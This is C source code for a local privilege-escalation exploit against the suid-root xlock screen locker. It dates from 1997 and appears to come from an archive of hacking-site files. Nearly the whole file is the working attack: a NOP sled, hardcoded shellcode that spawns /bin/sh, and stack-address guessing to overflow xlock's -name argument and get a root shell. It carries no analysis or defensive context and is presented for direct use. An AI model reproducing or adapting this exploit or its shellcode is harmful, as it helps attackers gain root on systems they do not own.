home *** CD-ROM | disk | FTP | other *** search
- /* x86 XLOCK overflow exploit
- by cesaro@0wned.org 4/17/97
-
- Original exploit framework - lpr exploit
-
- Usage: make xlock-exploit
- xlock-exploit <optional_offset>
-
- Assumptions: xlock is suid root, and installed in /usr/X11/bin
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-
- #define DEFAULT_OFFSET 50
- #define BUFFER_SIZE 996
-
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
-
- int main(int argc, char *argv[])
- {
- char *buff = NULL;
-
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
- int dfltOFFSET = DEFAULT_OFFSET;
-
- u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
- "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
- "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
- "\xd7\xff\xff\xff/bin/sh";
- int i;
-
- if (argc > 1)
- dfltOFFSET = atoi(argv[1]);
- else printf("You can specify another offset as a parameter if you
- need...\n");
-
- buff = malloc(4096);
- if(!buff)
- {
- printf("can't allocate memory\n");
- exit(0);
- }
- ptr = buff;
- memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
- ptr += BUFFER_SIZE-strlen(execshell);
- for(i=0;i < strlen(execshell);i++)
- *(ptr++) = execshell[i];
- addr_ptr = (long *)ptr;
- for(i=0;i<2;i++)
- *(addr_ptr++) = get_esp() + dfltOFFSET;
- ptr = (char *)addr_ptr;
- *ptr = 0;
- execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
- }
- /* www.hack.co.za [2000]*/